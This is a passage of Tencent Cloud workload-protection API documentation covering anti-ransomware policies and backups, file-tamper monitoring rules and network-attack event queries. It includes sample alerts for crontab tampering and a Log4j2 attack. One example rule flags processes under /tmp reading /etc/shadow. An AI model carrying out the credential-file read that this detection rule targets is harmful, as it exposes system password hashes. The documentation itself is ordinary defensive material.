"ProcessExe": "/usr/bin/crontab",
"Pstree": "[{\"pid\":980959,\"exe\":\"/usr/bin/crontab\",\"account\":\"root:root\",\"cmdline\":\"crontab /root/cron.tmp\",\"start_time\":1729557954,\"type\":1},{\"pid\":2288,\"exe\":\"/root/chaos-executor\",\"account\":\"root:root\",\"cmdline\":\"./chaos-executor d -p 29785a94e8324 -f id_rsa.pub -n Production -s Production\",\"start_time\":1729471587,\"type\":2}]",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Reference": "https://",
"RuleCategory": 0,
"RuleId": 1,
"RuleName": "System policy-tampering with scheduled tasks",
"Status": 0,
"Suggestion": "Troubleshoot whether it is a modification of scheduled tasks required for the normal business.",
```


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```
"Target": "/var/spool/cron/#tmp.VM-124-81-tencentos.2QUwZR",
"TargetCreatTime": "2024-10-22 08:45:54",
"TargetModifyTime": "2024-10-22 08:45:54",
"TargetName": "#tmp.VM-124-81-tencentos.QUwZR",
"TargetPermission": "-rw-------",
"TargetSize": 981,
"Type": 0,
"UserGroup": "0",
"UserName": "0",
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e"
}
],
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeRansomDefenseStrategyList

Last updated：2024-12-06 15:42:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of anti-ransomware policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseStrategyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameter (maximum quantity: 100)
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filtering criteria • Ips - String - required: no - IP addresses for querying • MachineNames - String - required: no - instance names for querying • Names - String - required: no - anti-ransomware policy names for querying • Dirs - String - required: no - bait directory

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			• Status - String - required: no - policy status: 0: disabled; 1: enabled • BackupType - String - required: no - backup mode: 0: weekly; 1: daily
Order	No	String	Sorting order: ASC and DESC
By	No	String	Sorting fields, supporting CreateTime and MachineCount

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseStrategy	Policy list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Query Anti-Ransomware Policy List

Query Anti-Ransomware Policy List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseStrategyList
<Common request parameters>

{
"Limit": "10",
```

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```
"Offset": "0"
}
```

Output Example


```
{
"Response": {
"List": [
{
"Id": 5570,
"Uin": "3232323",
"Name": "tt1",
"Description": "desc",
"Status": 1,
"IsAll": 0,
"IncludeDir": "/usr",
"ExcludeDir": "/bin",
"BackupType": 0,
"Weekday": "1;2;3;4;5",
"Hour": "00:00",
"SaveDay": 0,
"MachineCount": 1,
"CreateTime": "2024-04-17 23:19:43",
"ModifyTime": "2024-10-17 20:10:00"
}
],
"TotalCount": 1,
"RequestId": "d73d4495-1895-43a8-95be-f447b02e253d"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRansomDefenseBackupList

Last updated：2024-12-06 15:42:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of host snapshot backups.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRansomDefenseBackupList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Filters.N	No	Array of Filters	Filter criteria • Status - Int - required: no - query by ransom status: 0 - not ransomed; 1 - ransomed • CreateTimeBegin - string - required: no - start of creation time • CreateTimeEnd - string - required: no - end of creation time
Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting field, supporting CreateTime

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3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Host Snapshot Backups

This example shows you how to export the list of host snapshot backups.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRansomDefenseBackupList
<Common request parameters>

{
"Filters": [
{
"Name": "abc",
"Values": [
"abc"
],
"ExactMatch": true
}
],
"Order": "abc",
"By": "abc",
"Quuid": "abc"
}
```

Output Example

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```
{
"Response": {
"TaskId": "1",
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRansomDefenseEventsList

Last updated：2024-12-06 15:42:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of anti-ransomware events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRansomDefenseEventsList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • HostName- string- host name • Status - Uint64: 0 - pending; 1 processed; 2 -trusted • HostIp - String - host IP
Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting field, supporting CreateTime

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3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Anti-ransomware Event List

This example shows you how to export anti-ransomware event list based on filter parameters.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRansomDefenseEventsList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"TaskId": "1"
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRansomDefenseMachineList

Last updated：2024-12-06 15:42:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the backup details list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRansomDefenseMachineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filtering criteria • Ips - String - required: no - IP address for querying • MachineNames - String - required: no - instance name for querying • Names - String - required: no - instance name for querying • Status - String - required: no - policy status: 0: backup in progress; 1: backup succeeded; 2: backup failed • LastBackupTimeBegin - String - required: no - start of the last backup time • LastBackupTimeEnd - String - required: no - end of the last backup time

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Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting fields, supporting CreateTime and MachineCount

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, which is used to obtain the download URL (DownloadUrl) using the asynchronous task export API ExportTasks. Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Backup Details

This example shows you how to export the list of backup details based on filter parameters.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRansomDefenseMachineList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"TaskId": "1"
}
}
```

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5. Developer Resources

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRansomDefenseStrategyList

Last updated：2024-12-06 15:42:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the anti-ransomware policy list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRansomDefenseStrategyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • Ips - String - required: no - query by IP • MachineNames - String - required: no - query by instance name • Names - String - required: no - query by instance name • Dirs - String - Required: No - Bait Directory • Status - String - Required: No - Policy Status: 0 Disabled, 1 Enabled • BackupType - String - Required: No - Backup Mode: 0-Weekly; 1-Daily

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Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting fields, supporting CreateTime and MachineCount

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Anti-ransomware Policies

This example shows you how to export the list of anti-ransomware policies based on the filter parameters.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRansomDefenseStrategyList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"TaskId": "1"
}
}
```

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5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportRansomDefenseStrategyMachines

Last updated：2024-12-06 15:42:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of machines bound to ransomware defense policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRansomDefenseStrategyMachines.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • Ips - String - required: no - query by IP • MachineNames - String - required: no - query by instance name • Names - String - required: no - query by instance name • Status - String - required: no - policy status: 0 - backup in progress; 1 - backup succeeded; 2 - backup failed • LastBackupTimeBegin - String - required: no - start of the last backup time • LastBackupTimeEnd - String - required: no - end of the last backup time

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Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting fields, supporting CreateTime and MachineCount
Id	No	Integer	Policy ID

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Export List of Machines Bound to Anti-Ransomware Policy

Export List of Machines Bound to Anti-Ransomware Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRansomDefenseStrategyMachines
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"TaskId": "1"
```

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```
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyFileTamperRule

Last updated：2025-03-11 23:29:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to edit and add core file monitoring rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyFileTamperRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	Yes	String	Rule name
Rules.N	Yes	Array of FileTamperRule	Rule content
IsGlobal	Yes	Integer	Whether the rule is global (not global by default). 0: no; 1: yes. If the value is 1, Uuids can be left blank.
Status	Yes	Integer	Enabling status. 0: enabled; 1: disabled.
Id	No	Integer	Rule ID. If this parameter is left blank or set to 0, the rule is

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			to be added.
Uuids.N	No	Array of String	UUID array of affected hosts
Level	No	Integer	Risk Level. 0: None; 1: High-Risk; 2: Medium-Risk; 3: Low-Risk
AddWhiteType	No	String	Allowlisted processing type • cur: add the current items to the allowlist • all: add all objects that meet the conditions to the allowlist

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing and Adding Core File Monitoring Rules

This example shows you how to normally add a rule.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyFileTamperRule
<common request parameters>

{
"Id": 1,
"Name": "Prohibit the access to special files",
"Rules": [
{
"ProcessPath": "/tmp/*",
"Target": "/etc/shadow",
"Action": "alert",
```

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```
"FileAction": "read"
}
],
"Uuids": [
"1c26308c-5493-4eaf-a817-112ec25f499e"
],
"IsGlobal": 1,
"Status": 1,
"Level": 1,
"AddWhiteType": "cur"
}
```

Output Example

```
{
"Response": {
"RequestId": "c741a4fd-776f-499b-85a2-7bc70fd5b92s"
}
}
```

5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
UnknownParameter	Unknow parameter error.

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ExportFileTamperRules

Last updated：2024-12-06 15:42:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export core file monitoring rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportFileTamperRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria • RuleCategory- string- rule category: 0 = system rule; 1 = user rule • Name - String - Rule name

3. Output Parameters

Parameter	Type	Description

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Name		
TaskId	String	The export task ID can be downloaded through the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Files Normally

This example shows you how to export files normally.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportFileTamperRules
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "ad6e2f8f-0d2e-4949-8792-559bc9ccbae2",
"TaskId": "1680766163"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ModifyNetAttackSetting

Last updated：2024-12-06 15:42:18

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify network attack settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyNetAttackSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
NetAttackEnable	Yes	Integer	0 - Disable Network Attack Detection; 1 - Enable Network Attack Detection.
NetAttackAlarmStatus	Yes	Integer	0: New warning events pending processing by default, 1: New warning events processed by default, 3: New warning events ignored by default.
Scope	No	Integer	1 - All Ultimate edition hosts; 0 - list of hosts with Quuids
InstanceIds.N	No	Array of String	Specified hosts

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ExcludeInstanceIds.N	No	Array of String	Manually Excluded Hosts
AutoInclude	No	Integer	New assets automatically include: 0 - Do not include, 1 - include.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying Network Attack Settings

This example shows you how to modify network attack settings.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyNetAttackSetting
<Common request parameters>

{
"NetAttackEnable": 1,
"NetAttackAlarmStatus": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "95c9fd49-f547-4425-b67a-67bb99396e13"
```

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```
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.

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DescribeAttackEventInfo

Last updated：2024-12-06 15:42:34

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain network attack details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackEventInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
NetAttackEventInfo	NetAttackEventInfo	Network attack event details

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Details of Network Attack Events

Details of Network Attack Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackEventInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"NetAttackEventInfo": {
"AbnormalAction": "",
"AttackLevel": 3,
"CVEId": "CVE-2021-44228",
"Count": 5,
"DstPort": 8080,
"HostOpType": 0,
"Id": 1,
"Location": "Local area network",
"MergeTime": "2023-05-27 14:37:51",
"NetPayload": "",
"PayVersion": 0,
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"SrcIP": "10.0.0.5",
"Status": 1,
"SvcPs": "eyJhY2NvdW50IjoiMDowIiwiYXJndiI6Im5naW54OiBtYXN0ZXIgcHJvY2VzcyAuL3NiaW4
vbmdpbnggLWMgY29uZi95dW5qaW5nLXByb3h5LWRldi5jb25mIC1wIC91c3IvbG9jYWwvc2VydmljZS95
```

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```
dW5qaW5nLXByb3h5IiwiZXhlIjoiL3Vzci9sb2NhbC9zZXJ2aWNlL3l1bmppbmctcHJveHkvc2Jpbi9uZ
2lueCIsImxpc3RlbiI6IjAuMC4wLjA6ODA4MHwwLjAuMC4wOjkwODB8MC4wLjAuMDo1NTc0fDAuMC4wLj
A6ODAiLCJwaWQiOjMyMzg1Mjh9",
"Type": 0,
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"VulDefenceStatus": 0,
"VulId": 101824,
"VulName": "Apache Log4j2 remote code execution vulnerability (CVE-2021-44228)"
"VulSupportDefense": 1
},
"RequestId": "c9669e5d-8093-4142-b4db-d03e15239235"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeAttackStatistics

Last updated：2024-12-06 15:42:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics of network attack data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
PendingAttackCount	Integer	Total Number of Attacks Note: This field may return null, indicating that no valid values can be obtained.

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PendingTryAttackCount	Integer	Total Attack Attempts Note: This field may return null, indicating that no valid values can be obtained.
PendingSuccAttackCount	Integer	Total Number of Successful Attacks Note: This field may return null, indicating that no valid values can be obtained.
PendingNewAttackCount	Integer	Number of New Attacks Today Note: This field may return null, indicating that no valid values can be obtained.
AttackedAssetCount	Integer	Total Number of Assets Under Attack Note: This field may return null, indicating that no valid values can be obtained.
NewAttackedAssetCount	Integer	Number of New Attacked Assets Today Note: This field may return null, indicating that no valid values can be obtained.
AttackedPortCount	Integer	Total Number of Attacked Ports Note: This field may return null, indicating that no valid values can be obtained.
NewAttackedPortCount	Integer	Number of New Attacked Ports Today Note: This field may return null, indicating that no valid values can be obtained.
AttackSrcIpCount	Integer	Total Number of Attack Source IPs Note: This field may return null, indicating that no valid values can be obtained.
NewAttackSrcIpCount	Integer	Number of New Attacking Source IPs Today Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Statistics of Network Attack Data

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This example shows you statistics of network attack data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackStatistics
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"AttackSrcIpCount": 3,
"AttackedAssetCount": 0,
"AttackedPortCount": 1,
"NewAttackSrcIpCount": 3,
"NewAttackedAssetCount": 0,
"NewAttackedPortCount": 1,
"PendingAttackCount": 3,
"PendingNewAttackCount": 3,
"PendingSuccAttackCount": 0,
"PendingTryAttackCount": 3,
"RequestId": "619097e1-820e-47f7-b374-187debd09311"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAttackTop

Last updated：2024-12-06 15:42:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Top 5 network attacks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • BeginTime - String - start time, defaulted to last 7 days - required: no

3. Output Parameters

Parameter Name	Type	Description

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NetAttackTopInfo	NetAttackTopInfo	Top Statistics Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Top Statistical Data on Network Attacks

This example shows you the top statistical data on network attacks.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackTop
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"NetAttackTopInfo": {
"Agent": [
{
"Count": 13,
"Value": "centreezhao-dev-centos8"
}
],
"DstPort": [
{
"Count": 13,
"Value": "8080"
}
],
"SrcIp": [
{
```

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```
"Count": 5,
"Value": "10.0.0.14"
},
{
"Count": 5,
"Value": "10.0.0.5"
},
{
"Count": 3,
"Value": "127.0.0.1"
}
],
"Vul": [
{
"Count": 13,
"Value": "Apache Log4j2 remote code execution vulnerability (CVE-2021-44228)"
}
]
},
